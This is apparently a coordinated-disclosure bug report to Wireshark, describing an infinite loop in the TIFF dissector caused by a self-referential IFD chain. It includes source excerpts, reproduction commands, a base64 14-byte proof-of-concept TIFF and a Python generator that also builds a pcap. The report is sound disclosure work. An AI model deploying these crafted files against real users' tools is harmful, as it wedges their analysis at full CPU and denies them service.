[go: up one dir, main page]

TIFF dissector: IFD chain has no cycle detection, so a self-referential IFD makes the dissector loop forever (infinite loop, DoS)

This issue was discovered by a AI agent (Claude) and independently validated by a me.

Summary

dissect_tiff() follows the TIFF Image File Directory (IFD) chain by repeatedly calling dissect_tiff_ifd() with the 32-bit "next IFD" offset it reads verbatim from the input. There is no visited-offset set, no requirement that the offset advance, and no iteration cap, so a TIFF whose IFD points its next-IFD field back at itself makes the walker loop over the same bytes forever. A bounds exception cannot rescue it, because the crafted offset is deliberately in bounds — the whole PoC is 14 bytes and the IFD it points at is the one already being parsed.

The dissector is reachable in the default configuration: directly, via the default-enabled wtap_file heuristic when a .tif is opened, and from ordinary captured traffic via the image/tiff media_type entry (e.g. an HTTP/WSP/MIME body).

Impact

Opening a 14-byte crafted TIFF (directly or embedded in a capture) wedges tshark/wireshark at 100 % CPU indefinitely — a denial of service for anyone opening the file or dissecting the traffic. This is availability-only: no memory is read or written out of bounds, and there is no path to code execution.

Root cause

// epan/dissectors/file-tiff.c:783-802 — dissect_tiff_ifd()
static uint32_t
dissect_tiff_ifd(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree, uint32_t offset, int encoding) {
    uint16_t ifd_count = tvb_get_uint16(tvb, offset, encoding);
    ...
    proto_tree_add_item(ifd_tree, hf_tiff_ifd_next, tvb, offset, 4, encoding);
    uint32_t ifd_next = tvb_get_uint32(tvb, offset, encoding);   // attacker-controlled, unchecked
    return ifd_next;
}

// epan/dissectors/file-tiff.c:841-845 — dissect_tiff()
    // Keep dissecting IFDs until the offset to the next one is zero
    while (ifd_offset != 0) {
        ifd_offset = dissect_tiff_ifd(tvb, pinfo, tiff_tree, ifd_offset, encoding);
    }

The loop's only exit is ifd_offset == 0, and ifd_offset is input data. (The structurally equivalent EXIF IFD walker in epan/dissectors/file-jpeg.c does bound its traversal, which is what makes this a missing check rather than an intentional design.)

Why Wireshark's generic loop safeguards do not fire

SECURITY.md discounts "loops that are caught by our API" (the large-tree-item counter and the "idleness"/no-offset-advance check). Both of those checks live in the proto-tree item constructors, and every entry point to them begins with CHECK_FOR_NULL_TREE(tree), which returns before the counters are touched:

// epan/proto.c:1556 — proto_tree_add_text_valist_internal(), backend of proto_tree_add_subtree()
    CHECK_FOR_NULL_TREE(tree);
    TRY_TO_FAKE_THIS_ITEM(tree, hf_text_only, hfinfo);   /* gui_max_tree_items counter is here */

So with tree == NULL no item is counted, the idleness counter never advances, and neither safeguard runs. tree == NULL is exactly the default single-pass tshark -r and first pass of two-pass tshark -2 -r dissection, so the loop runs unbounded there. (Under -V, where a tree is built, the tree-item safeguard eventually throws — but the default no-tree path has no such backstop.)

Reproduction

Self-contained. Build the shipped tshark at the validated commit, decode the inline 14-byte PoC, and open it — the process wedges.

git clone https://github.com/wireshark/wireshark && cd wireshark
git checkout 09451d415576c2b4790cbe36cfb2af2f433663a9
cmake -G Ninja -B build -S . -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS='-g -O1' -DBUILD_wireshark=OFF -DENABLE_LUA=OFF
cmake --build build --target tshark

# --- crafted input (base64, decodes to a 14-byte little-endian TIFF) ---
# II*  IFD @ offset 8  |  entry count 0  |  next-IFD offset = 8  (points at itself)
base64 -d > poc.tif <<'B64'
SUkqAAgAAAAAAAgAAAA=
B64

# --- trigger: default single-pass dissection wedges (Ctrl-C to stop) ---
timeout 20 ./build/run/tshark -r poc.tif ; echo "exit=$?  (124 = still running when timeout fired)"

For transparency, the base64 capture above was produced by this generator (you do not need to run it — the base64 is self-contained). It also emits benign.tif (identical but next-IFD = 0, which terminates immediately) and poc.pcap (the same TIFF as an HTTP image/tiff body, which wedges via the media_type path):

#!/usr/bin/env python3
"""Generate the ANT-2026-R0MGYXWQ TIFF PoCs.

poc.tif      - 14-byte little-endian TIFF whose single IFD's next-IFD pointer
               points back at itself (offset 8), creating a cycle in the IFD chain.
benign.tif   - identical but with next-IFD = 0 (control; terminates immediately).
poc.pcap     - one Ethernet/IPv4/TCP packet carrying an HTTP/1.1 200 response with
               Content-Type: image/tiff and poc.tif as the body.
"""
import struct, sys

def tiff(next_ifd):
    b = b'II'                       # little-endian
    b += struct.pack('<H', 42)      # magic
    b += struct.pack('<I', 8)       # lead IFD at offset 8
    b += struct.pack('<H', 0)       # IFD entry count = 0
    b += struct.pack('<I', next_ifd)
    return b

POC = tiff(8)      # self-referential -> infinite chain
BENIGN = tiff(0)   # terminates

def ip_csum(hdr):
    s = 0
    for i in range(0, len(hdr), 2):
        s += (hdr[i] << 8) + hdr[i+1]
    while s >> 16:
        s = (s & 0xffff) + (s >> 16)
    return (~s) & 0xffff

def pcap(body):
    http = (b'HTTP/1.1 200 OK\r\n'
            b'Content-Type: image/tiff\r\n'
            b'Content-Length: ' + str(len(body)).encode() + b'\r\n'
            b'Connection: close\r\n\r\n' + body)
    tcp = struct.pack('>HHIIBBHHH', 80, 40000, 1, 1, 5 << 4, 0x18, 8192, 0, 0) + http
    total = 20 + len(tcp)
    iph = struct.pack('>BBHHHBBH4s4s', 0x45, 0, total, 1, 0, 64, 6, 0,
                      bytes([10, 0, 0, 1]), bytes([10, 0, 0, 2]))
    iph = iph[:10] + struct.pack('>H', ip_csum(iph)) + iph[12:]
    eth = b'\x00\x11\x22\x33\x44\x55' + b'\x66\x77\x88\x99\xaa\xbb' + b'\x08\x00'
    frame = eth + iph + tcp
    out = struct.pack('<IHHiIII', 0xa1b2c3d4, 2, 4, 0, 0, 65535, 1)
    out += struct.pack('<IIII', 1700000000, 0, len(frame), len(frame)) + frame
    return out

d = sys.argv[1] if len(sys.argv) > 1 else '.'
open(d + '/poc.tif', 'wb').write(POC)
open(d + '/benign.tif', 'wb').write(BENIGN)
open(d + '/poc.pcap', 'wb').write(pcap(POC))
print('poc.tif   =', POC.hex(), '(%d bytes)' % len(POC))
print('benign.tif=', BENIGN.hex(), '(%d bytes)' % len(BENIGN))

Observed behaviour (rebuilt and run at HEAD 09451d415576, 2026-09-06)

The benign control (next-IFD = 0) dissects and exits immediately. The PoC never returns; after 20s (we also test 180s, same result) the process is still running at 100 % CPU, wedged inside the IFD walk. Live backtrace of the wedged tshark -r poc.tif:

CASE: tshark default single pass   CMD: tshark -r poc.tif
RESULT: STILL RUNNING after 20 s -- process is wedged
#0  proto_tree_add_text_valist_internal (... length=-361099776 ...) at epan/proto.c:1567
#1  proto_tree_add_subtree_format (...) at epan/proto.c:1591
#2  proto_tree_add_subtree (...) at epan/proto.c:1574
#3  dissect_tiff_ifd (tvb=..., tree=0x0, offset=8, encoding=-2147483648) at epan/dissectors/file-tiff.c:789
#4  dissect_tiff (...) at epan/dissectors/file-tiff.c:844
#5  dissect_tiff_heur (...) at epan/dissectors/file-tiff.c:1151
#6  dissector_try_heuristic (...) at epan/packet.c:3154

The same wedge occurs on the two-pass path (tshark -2 -r poc.tif, first pass tree == NULL) and when the TIFF is carried as an HTTP image/tiff body (tshark -r poc.pcap).

Attribution

Please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting.

Disclosure

We defer to the Wireshark security team on advisory/CVE and disclosure timing; our default guideline is 90-day coordinated disclosure (https://www.anthropic.com/coordinated-vulnerability-disclosure).